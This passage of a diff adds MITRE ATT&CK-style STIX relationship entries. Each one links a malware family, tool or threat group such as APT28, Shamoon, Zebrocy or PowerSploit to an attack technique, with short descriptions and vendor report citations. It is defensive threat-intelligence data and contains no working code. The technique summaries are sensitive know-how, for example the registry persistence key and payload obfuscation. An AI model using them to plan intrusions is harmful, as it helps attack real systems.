"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) decrypts code, strings, and commands to use once it's on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--54c703f9-67ef-4622-afed-0ebbd2563e9e", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--bbe37d7e-ad35-4c74-a57c-9a398ef6b1be", + "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Webinar Dec 2017", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3", + "description": "[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6ab0ff01-1695-4301-ac9a-1cd0719be532", + "source_ref": "malware--4b62ab58-c23b-4704-9c15-edd568cd59f8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lin, P. (2015, July 13). Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems. Retrieved December 11, 2015.", + "source_name": "TrendMicro Hacking Team UEFI", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of providing shell functionality to the attacker to execute commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b4e77f71-970a-4b24-938f-0d50ecea1969", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered a Windows shell script under the Registry key HKCU\\Environment\\UserInitMprLogonScript to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--70d5a73c-cc14-410a-a430-5948cd21532f", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.307Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "source_name": "ESET Sednit Part 1", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) uses Base64 encoding for C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7f1c30eb-051f-4d1a-9d81-1ee46f7779c7", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses the net user command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7d181964-875f-4132-8882-46e9dd18e893", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "modified": "2019-05-03T16:54:33.242Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) was distributed through a compromised update to a Tor client with a coin miner payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--7760fef9-2e22-4747-ad48-f8aa946f3737", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "modified": "2019-06-24T19:07:12.618Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.", + "source_name": "Microsoft Dofoil 2018", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) can download and execute a file from given URL.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--34d105a6-47ac-4a8b-b892-6f630cd97096", + "source_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) will attempt to detect if the infected host is configured to a proxy. If so, [NETEAGLE](https://attack.mitre.org/software/S0034) will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a713d0d3-2897-4da2-995f-df3a40f04b29", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "A [JPIN](https://attack.mitre.org/software/S0201) uses a encrypted and compressed payload that is disguised as a bitmap within the resource section of the installer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d2263afd-2fd3-4f98-96a5-a00e5f33b99e", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) lists the current running processes on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--536ed2f4-46c5-4485-998c-60f0480d5c21", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "modified": "2019-07-26T22:56:58.492Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) is a PowerShell backdoor.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--89424d69-a426-4f76-9e7f-7b2dabe459be", + "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "source_name": "FireEye FIN7 March 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + }, + { + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "source_name": "Cisco DNSMessenger March 2017", + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) queries several Registry keys to identify hard disk partitions to overwrite.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2dfbcf5d-8563-440c-bd9c-0cfc15059bd5", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.370Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses cmd.exe to execute commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--337abaa3-80a6-4c41-9936-2eed13b84ba9", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "modified": "2019-05-03T16:54:33.248Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "source_name": "Lazarus RATANKBA", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can use Regsvr32 to execute additional payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2853aaaa-982e-49bf-a219-b4f16805b983", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[APT28](https://attack.mitre.org/groups/G0007) encrypted a .dll payload using RTL and a custom encryption algorithm. [APT28](https://attack.mitre.org/groups/G0007) has also obfuscated payloads with base64, XOR, and RC4.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.039Z", + "id": "relationship--1b143de7-af2d-4991-9e2e-aa85a8d7d330", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.705Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + }, + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + }, + { + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "source_name": "Talos Seduploader Oct 2017", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + }, + { + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) has obfuscated DLLs and functions using dummy API calls inserted between real instructions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--47df35dd-7d45-452d-af46-d04348a6b363", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[APT37](https://attack.mitre.org/groups/G0067) executes shellcode and a script to decode Base64 strings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--52e1eb9c-e1ef-4ede-bbe7-fb0a79617a9a", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.755Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) monitors victims for insertion of removable drives. When dropped onto a second victim, it also enumerates drives connected to the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f7740e3c-c143-40b7-a8da-e797f5d74b50", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "source_name": "ESET Sednit USBStealer 2014", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses HTTP, SMTP, and POP3 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6d102ef8-c831-413d-b2cb-392517638b0b", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.736Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "source_name": "Unit42 Cannon Nov 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + }, + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers a list of running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.074Z", + "id": "relationship--4de2ac9b-4e51-4d73-8fe3-d7d1659778b8", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) is capable of performing keylogging.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--954961e4-0bf5-496e-b200-e63d99c006de", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "modified": "2019-05-14T17:10:21.940Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "source_name": "DOJ GRU Indictment Jul 2018", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) is known to contain functionality that enables targeting of smart card technologies to proxy authentication for connections to restricted network resources using detected hardware tokens.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2b6da092-7380-4bd3-bd4c-f136a5b9b4cc", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Blasco, J. (2012, January 12). Sykipot variant hijacks DOD and Windows smart cards. Retrieved January 10, 2016.", + "source_name": "Alienvault Sykipot DOD Smart Cards", + "url": "https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can discover and exploit various path interception opportunities in services, processes, and variables.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--457cb4ac-e64b-4905-853b-933a28bd34cc", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.171Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain the victim time zone.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4c3890f0-378d-4cef-8db7-0258161ff3f7", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--50a57369-6d3e-44bf-814f-7c9242e56d75", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": 